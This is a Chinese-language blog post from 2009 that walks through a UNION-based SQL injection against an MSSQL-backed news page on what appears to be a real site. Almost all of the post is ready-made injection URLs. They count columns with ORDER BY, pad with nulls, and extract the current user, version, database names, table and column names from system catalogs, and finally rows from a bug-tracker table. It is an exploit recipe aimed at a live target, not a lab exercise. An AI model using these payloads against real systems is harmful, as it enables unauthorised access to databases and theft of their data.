Chinaunix首页 | 论坛 | 博客
  • 博客访问: 2284527
  • 博文数量: 181
  • 博客积分: 9990
  • 博客等级: 中将
  • 技术积分: 1865
  • 用 户 组: 普通用户
  • 注册时间: 2006-05-23 09:43
文章分类

全部博文(181)

文章存档

2011年(40)

2010年(17)

2009年(87)

2008年(37)

我的朋友

分类: 网络与安全

2009-01-28 11:16:43

要用union查询的话,先确定有几个字段,使用order by 来完成,就是:

 

SQL代码
  1. in.th/news_show.php?newsid=400 order by 7-- 回显正常   
  2. in.th/news_show.php?newsid=400 order by 8-- 回显失败  


说明总共7个字段,然后用null填充

 

SQL代码
  1. in.th/news_show.php?newsid=400 union all select null,null,null,null,null,null,null--   

显示正常
变换成不存在的id,前面加负号,或者加上and 1=2的条件,比如

 

SQL代码
  1. in.th/news_show.php?newsid=99999 union all select null,null,null,null,null,null,null--  


确定下哪个位置可以爆出结果,先从第一个null开始变换,直接替换成user,就是:

 

SQL代码
  1. in.th/news_show.php?newsid=99999 union all select user,null,null,null,null,null,null--  


看来运气比较好,当前用户名直接出现在某个可见的位置,要是没显示结果就继续变换位置
那就从这个位置开始暴出我们想要的结果

1.变换id获得库名

 

SQL代码
  1. in.th/news_show.php?newsid=400 and 1=2 union all select name,null,null,null,null,null,null+from+master.dbo.sysdatabases+where+dbid=1--  


2.获得当前库名

 

SQL代码
  1. in.th/news_show.php?newsid=400 and 1=2 union all select db_name(),null,null,null,null,null,null--  


3.获得当前版本

 

SQL代码
  1. in.th/news_show.php?newsid=400 and 1=2 union all select @@version,null,null,null,null,null,null--  


4.变换N获得指定库的表名

 

SQL代码
  1. in.th/news_show.php?newsid=400 and 1=2 union all select name,null,null,null,null,null,null+from+BugTracker.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top N name from BugTracker.dbo.sysobjects where xtype=CHAR(85))--  


5.获得指定库所有列名
(1) 这里的M和获得库名时的N必须一致,不然无法得到正确的库名ID

 

SQL代码
  1. in.th/news_show.php?newsid=400 and 1=2 union all select ID,null,null,null,null,null,null+from+BugTracker.dbo.sysobjects+where xtype=CHAR(85) and ID not in (select top M ID from BugTracker.dbo.sysobjects where xtype=CHAR(85))--  


(2)最后的ID值即是(1)中回显的数值,通过变换N值获得所有列名

 

SQL代码
  1. in.th/news_show.php?newsid=400 and 1=2 union all select NAME,null,null,null,null,null,null from BugTracker.dbo.syscolumns where ID=53575229 and name not in (select top N name from BugTracker.dbo.syscolumns where ID=53575229)--  


6.根据前几步所得结果获得字段内容

SQL代码
  1. in.th/news_show.php?newsid=400 and 1=2 union all select bug_id,null,null,null,null,null,null from BugTracker..mantis_bug_file_table--  


可自加条件进行查询

阅读(585) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~